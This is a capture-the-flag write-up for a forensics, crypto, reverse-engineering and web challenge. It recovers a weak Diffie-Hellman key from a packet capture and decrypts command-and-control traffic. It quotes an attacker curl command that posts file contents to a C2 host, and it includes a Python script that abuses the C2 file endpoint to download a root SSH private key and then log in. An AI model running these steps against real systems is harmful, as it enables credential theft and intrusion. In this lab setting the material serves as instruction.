swiss hacking challenge 2024 - the-office
Difficulty: hard
Categories: forensics, crypto, rev, web
Author: xNULL
The office’s main computer had been hacked, communicating with an unknown C2 server, and for reasons beyond comprehension, Gary was tasked with unraveling this digital conundrum. (Gary is the finance guy)
Hint:This is a extreme parcour multi skill challenge make sure you understand where the flag is located
Hint:Sometimes bruteforce is the solution (or at least part of it)
Hint:172.105.87.133 was a C2 server obviously
Files
We are given a lot of files:
the-office
├── capture_file.pcap
├── docker-compose.yaml
├── server
│ ├── Dockerfile
│ └── start.sh
└── victim
├── Dockerfile
├── flag.txt
└── src
└── client
We also get a http endpoint and an ssh connection.
Exploitation
Reverse-engineering the encryption
When looking at the client binary, we see the following:
int32_t main(int32_t argc, char** argv, char** envp)
{
sleep(0xa);
int64_t client_id;
__builtin_memset(&client_id, 0, 0x40);
int32_t key_p;
int32_t key_A;
int32_t key_g;
get_keys(&key_g, &key_A, &key_p, &client_id);
int32_t temp2;
int32_t temp3;
temp2 = HIGHD(((int64_t)rand()));
temp3 = LOWD(((int64_t)rand()));
int32_t shared_part = (COMBINE(temp2, temp3) % key_p);
int32_t key_B = mod_pow(key_g, shared_part, key_p);
int32_t private_key = mod_pow(key_A, shared_part, key_p);
printf("SHARED KEY: %d\n", ((uint64_t)private_key));
send_keys(key_B, &client_id);
while (true)
{
recv_and_execute_command(&client_id, private_key);
sleep(1);
}
}
Based on the pcap we can derrive the private key:
get_keys.sage
# Given values
A = 350
g = 547
p = 827
B = 322
# Find s such that B = g^s mod p using discrete logarithm
s = discrete_log(Mod(B, p), Mod(g, p))
# Compute the decryption key as A^s mod p
decryption_key = power_mod(A, s, p)
# Output s and the decryption key
print(f"s = {s}")
print(f"Decryption key = {decryption_key}")
s = 327
Decryption key = 73
We can then extract the commands using the following:
tshark -r capture_file.pcap -T fields -e http.file_data | \
sed -s 's/\\n//g' | \
sed -s 's/\\t//g' | \
grep -v "Received data" | \
jq -s . > commands.json
decrypt.py
import json
import base64
from pwn import xor, info, warn
DEC_KEY = 73
with open("cmds.json", "r") as file:
data = json.load(file)
for cmd in data:
if "encrypted_command" in cmd:
enc_command = cmd["encrypted_command"]
cmd["command"] = base64.b64decode(enc_command)
info(xor(cmd["command"], DEC_KEY).decode())
if "data" in cmd:
enc_data = cmd["data"]
cmd["data"] = base64.b64decode(enc_data)
warn(xor(cmd["data"], DEC_KEY).decode())
We notice some funny commands in the output:
[*] curl http://172.105.87.133:8000/files -H "Content-Type: application/json" -X POST --data '{"client_id": "a483f845454b5147", "shared_key": "73", "path": "/root/requirements.txt"}'
Turns out the private SSH key can be downloaded like that as well…
However, the client ID isn’t valid anymore so we’ll need to get our own shared key first.
get_1337_ssh_key.py
import requests
import random
from pwn import success, info
URL = "https://instance-id.ctf.m0unt41n.ch:1337"
def get_keys():
resp = requests.get(URL+"/gen_keys")
data = resp.json()
A = int(data['A'])
g = int(data['g'])
p = int(data['p'])
client_id = data['client_id']
s = random.randint(0, 255)
B = pow(g, s, p)
private_key = pow(A, s, p)
status = requests.post(URL+"/recv_keys", json={"B": B, "client_id": client_id})
info(status.text)
return client_id, private_key
def get_file(client_id, shared_key, path):
data = {
"client_id": client_id,
"path": path,
"shared_key": shared_key
}
resp = requests.post(URL+"/files", json=data).text
return resp
client_id, private_key = get_keys()
success(f"Client ID: {client_id}")
success(f"Private Key: {private_key}")
ssh_key = get_file(client_id, private_key, "/root/.ssh/id_rsa")
with open("id_office", "w") as f:
f.write(ssh_key)
success("SSH key saved to id_office")
Finally, we can connect via SSH:
$ chmod 600 id_office
$ ssh [email protected] -p 31839 -i id_office
We find the C2 running in a tmux session:
$ tmux a
Enter command: ls -1
Executing: ls -1
Executing: ls -1
10.42.0.230 - - [15/Apr/2024 17:45:52] "POST /recv HTTP/1.1" 200 -
Received data: b'client\nflag.txt\n'
10.42.0.230 - - [15/Apr/2024 17:45:52] "POST /send HTTP/1.1" 200 -
10.42.0.230 - - [15/Apr/2024 17:45:53] "POST /recv HTTP/1.1" 200 -
Enter command: cat flag.txt
Executing: cat flag.txt
Executing: cat flag.txt
10.42.0.230 - - [15/Apr/2024 17:45:54] "POST /recv HTTP/1.1" 200 -
Received data: b'shc2024{pwn_th3_4PT_1s_1338}'
Flag
Conclusion
Was a very fun challenge to solve! However, I don’t quite see why the hints were nessecary.